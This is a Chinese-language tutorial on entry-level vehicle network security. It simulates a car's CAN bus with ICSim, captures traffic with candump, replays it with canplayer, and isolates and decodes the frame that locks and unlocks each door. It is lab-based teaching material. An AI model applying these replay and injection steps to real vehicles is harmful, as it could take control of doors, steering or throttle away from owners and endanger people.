車聯網安全入門之模仿一輛車的通訊網路

2022-11-16 15:03:20

車聯網安全是目前較為熱門的發展方向,但是由於他的入門門檻太高(沒有實車)導致大部分人被卡在門檻這裡。所以我總結了網上的相關資料寫出這篇文章,可以讓學習車聯網安全的同學來模擬控制一輛車是什麼樣的感覺,本篇文章通過Ubuntu模擬了車載CAN匯流排的收發包來進行操作學習,接下來跟著我一步步操作來開啟車聯網安全的大門吧!

什麼是CAN匯流排

CAN匯流排又稱控制器區域網Controller Area Network的縮寫,CAN匯流排是一種功能豐富的車用匯流排標準。被設計用於在不需要主機(Host)的情況下,允許網路上的微控制器和儀器相互通訊。 它基於訊息傳遞協定,設計之初在車輛上採用複用通訊線纜,以降低銅線使用量,後來也被其他行業所使用。簡單來說就是用來控制車輛功能的通訊協定,比如車門解鎖、轉向燈、剎車、油門等,為什麼要使用CAN協定,簡單來說就是便宜好用。

CAN匯流排特性

安全性:
CAN是低階協定,不支援任何內在的安全功能。在標準的CAN中也沒有加密,這使得這些網路資料能被擷取。在大多數應用中,應用程式需要部署自己的安全機制,例如認證傳入命令或網路上某些裝置的存在。若不執行適當的安全措施,其他人可能設法在匯流排上插入訊息。儘管一些安全關鍵功能(如修改韌體,程式設計鍵或控制防抱死制動)存在密碼,但這些系統並未普遍實施,並且金鑰對的數量有限。

通訊機制:
多主機-即每個節點都有接入匯流排的能力。

定址機制:
訊息區別:不設節點的地址,通過訊息的標誌符來區別訊息。

幀型別:
資料框、遠端幀、錯誤幀、超載幀、幀間隔

攻擊方式:

  • 應用報文模糊測試
  • Dos攻擊測試
  • 重放攻擊

由於CAN匯流排上面的封包沒有任何加密,所以這些封包能夠被擷取竊聽。由於車載網路使用CAN協定進行通訊,所以我們可以聯想到車聯的功能也是通過CAN網路進行資料傳送和交換。比如我們開啟左轉向燈,那麼電訊號就會通過CAN匯流排傳送到網路上的每個裝置,然後左轉向燈會解釋封包並且執行封包中的指令。

在網路上傳送的封包由兩部分組成:識別符號和資料。識別符號是車輛中裝置的表示。資料欄位表示要與所述裝置一起完成的指令。讓我們看下面的例子:

(1668496788.311506) vcan0 095#800007F400000017

封包的開始部分是識別符號。在這種情況下,識別符號是095。#之後的封包剩餘部分是資料欄位。
可以看下Wireshark抓到的包

識別符號在不同車型,相同車型不同年份的情況下也是不相同的,如果是相同車型相同年份的車型那麼識別符號大概率是通用的,不同的識別符號表示車上不同的裝置發的包,後面我們需要找到我們想要控制車輛功能的識別符號包。

攻擊方式

在前面CAN匯流排特性處我們寫的CAN匯流排攻擊方式包括應用報文模糊測試、Dos攻擊測試、重放攻擊等,接下來我們來實操一下重放攻擊,顧名思義就是可以擷取封包然後重新傳送導致車輛處於我們的控制之下而不受到車輛所有人的操控。

安裝工具

  • kali2022.03
  • ICSim (儀表盤模擬器)
  • Socketcand(CAN網路)
  • Kayak(一款基於SocketCAN的CAN匯流排分析工具)

ICSim是一個開源的車輛儀表模擬器,該模擬器包含controls和ICSim兩個模組,其中controls負責生成模擬的車輛資料,以CAN報文的方式傳送給虛擬的CAN介面,ICSim從虛擬CAN介面讀取CAN報文,並在儀表上更新對應零件的狀態,如車速、車門狀態等等。

安裝依賴

sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf


安裝ICSim

下載

git clone https://github.com/zombieCraig/ICSim.git

編譯

cd ICSim/
sudo make

安裝socketcand

下載

git clone https://github.com/linux-can/socketcand.git

獲取缺少的檔案

wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in

編譯安裝

cd socketcand/
autoconf

./configure

make clean

make

sudo make install

安裝Kayak

下載

git clone https://github.com/dschanoeh/Kayak.git

安裝

cd Kayak/
mvn clean package


至此,全部安裝完畢。

開始攻擊

首先設定vcan(虛擬CAN)介面

sudo modprobe can
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0


開啟儀表盤模擬器

./icsim vcan0


開啟儀表盤控制器

./controls vcan0


點選儀表盤控制器介面就可以模擬操縱車輛了。

功能 控制按鈕
轉向燈 鍵盤左右鍵
速度 鍵盤上下鍵
開車門 右SHIFT鍵+A
關車門 左SHIFT鍵+A
開啟全部車門 左SHIFT鍵+右SHIFT鍵
關閉全部車門 右SHIFT鍵+左SHIFT鍵


使用candump進行抓包

candump vcan0 -l

CTRL+C停止

看到抓到的包,由於CAN在不停的通訊所以包會非常大。

接下來我們找到CAN網路上面控制車輛的封包對他進行攻擊。
監聽抓包,然後開啟所有車門然後關閉。
抓到了一萬多個包。

嘗試重放我們的包

canplayer -I candump-2022-11-15_052559.log

可以看到全部車門開啟隨即關閉。

接下來我們採用二分法每次刪除一半來查詢關閉車門的包。

最終通過二分法找到開啟所有車門的包為:

(1668507963.222323) vcan0 19B#000000000000


其中的19B是裝置識別符號,在封包中查詢19B。

└─$ grep 19B candump-2022-11-15_052559.log 

(1668507960.512530) vcan0 244#000000019B
(1668507962.233563) vcan0 19B#00000F000000
(1668507963.222323) vcan0 19B#000000000000
(1668507963.517110) vcan0 244#000000019B
(1668507964.208966) vcan0 19B#00000F000000
(1668507965.319056) vcan0 244#000000019B


我們可以看到其中有一個19B#00000F000000,如果我們得到19B#000000000000是開啟所有車門,那麼後面我們也進行了關閉所有車門的操作,可以猜測19B#00000F000000是關閉所有車門。

可以看到上圖,我們成功關閉了所有車門。

如上可知這個封包中通過第三位位元組來控制。

(1668507962.233563) vcan0 19B#00000F000000  //開啟所有車門
(1668507963.222323) vcan0 19B#000000000000  //關閉所有車門

鎖上所有門的封包將半位元組表示為十六進位制F。將其分解為二進位制可得出 16 種可能的門組合。

二進位制 十六進位制
0000 0
0001 1
0010 2
0011 3
0100 4
0101 5
0110 6
0111 7
1000 8
1001 9
1010 a
1011 b
1100 c
1101 d
1110 e
1111 f

嘗試字元控制的不同車門。

字元 車門
8 右後車門
4 左後車門
2 右前車門
1 左前車門

假設1是鎖門的動作,0是解鎖門的動作。因此,當我們識別我們的門時,識別出的門會收到鎖門的指令,而其他門會收到解鎖的指令。比如字元8的二進位制是1000那麼就是鎖門,開門,開門,開門。

右後車門  左後車門  右前車門  左前車門
  8        4        2       1
  1        1        0       0  等於 C

可以嘗試檢視C是不是關閉了後排兩個門,開啟了前排兩個門。

至此,就可以操控每個門的開關了。同理,轉向和油門都是相同原理。

參考

控制器區域網路

零成本入門車聯網安全研究